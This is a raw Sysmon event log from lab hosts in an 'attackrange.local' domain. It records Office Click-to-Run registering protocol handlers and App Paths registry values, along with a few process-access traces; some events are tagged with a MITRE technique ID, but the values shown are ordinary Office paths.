13241300x800000000000000040452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\skypecast15\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\sips\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.456{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\sip\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ma-filelink\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 10341000x800000000000000040448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.440{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{00000000-0000-0000-0000-000000000000}6892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ma-chan\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Lync15classic\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Lync15\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\im\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\conf\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\callto\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\lync.exe "%%1" 13241300x800000000000000040441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNoteDesktop.URL.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNoteDesktop\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote.URL.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040438Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OneNote\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE" /hyperlink "%%1" 13241300x800000000000000040437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-word\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\webcals\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\webcal\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\stssync\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.webcal.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.stssync.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.mailto.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -c IPM.Note /mailto "%%1" 13241300x800000000000000040430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.feed.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\mailto\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -c IPM.Note /mailto "%%1" 13241300x800000000000000040428Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\feeds\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040427Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\feed\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 10341000x800000000000000040426Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.440{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}6892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.440{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}6892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-publisher\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.440{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-powerpoint\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-excel\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-access\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Lync.exe\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Lync.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\Lync.exe 13241300x800000000000000040418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MsoHtmEd.exe\UseURL1 13241300x800000000000000040417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OneNote.exe\SaveURL1 13241300x800000000000000040416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OneNote.exe\UseURL1 13241300x800000000000000040415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OneNote.exe\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OneNote.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\ONENOTE.EXE 13241300x800000000000000040413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\SaveURL1 13241300x800000000000000040412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\UseURL1 13241300x800000000000000040411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE 13241300x800000000000000040409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SKYPESERVER.EXE\PathC:\Program Files\Microsoft Office\Root\Office16\SkypeSrv\ 13241300x800000000000000040408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SKYPESERVER.EXE\(Default)C:\Program Files\Microsoft Office\Root\Office16\SkypeSrv\SKYPESERVER.EXE 13241300x800000000000000040407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE\(Default)C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE 13241300x800000000000000040405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSPUB.EXE\SaveURL1 13241300x800000000000000040404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSPUB.EXE\UseURL1 13241300x800000000000000040403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSPUB.EXE\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSPUB.EXE\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE 13241300x800000000000000040401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SKYPESERVER.EXE\PathC:\Program Files\Microsoft Office\Root\Office16\SkypeSrv\ 13241300x800000000000000040400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SKYPESERVER.EXE\(Default)C:\Program Files\Microsoft Office\Root\Office16\SkypeSrv\SKYPESERVER.EXE 13241300x800000000000000040399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\powerpnt.exe\SaveURL1 23542300x800000000000000013789Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:58.812{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=33004D8C8B20B749CC3F1E5CF0DF7FD7,SHA256=7A2C2A580D7C8076C9EF2DB1234400C9D5898A902518813E8199316AA66039B8,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\powerpnt.exe\UseURL1 13241300x800000000000000040397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\powerpnt.exe\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\powerpnt.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE 13241300x800000000000000040395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SKYPESERVER.EXE\PathC:\Program Files\Microsoft Office\Root\Office16\SkypeSrv\ 13241300x800000000000000040394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SKYPESERVER.EXE\(Default)C:\Program Files\Microsoft Office\Root\Office16\SkypeSrv\SKYPESERVER.EXE 13241300x800000000000000040393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\excel.exe\SaveURL1 13241300x800000000000000040392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\excel.exe\UseURL1 13241300x800000000000000040391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\excel.exe\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\excel.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE 13241300x800000000000000040389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSACCESS.EXE\UseURL1 13241300x800000000000000040388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSACCESS.EXE\PathC:\Program Files\Microsoft Office\Root\Office16\ 13241300x800000000000000040387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MSACCESS.EXE\(Default)C:\Program Files\Microsoft Office\Root\Office16\MSACCESS.EXE 13241300x800000000000000040386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\sdxhelper.exe\(Default)C:\Program Files\Microsoft Office\Root\Office16\SDXHelper.exe 13241300x800000000000000040385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:43:58.424{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program 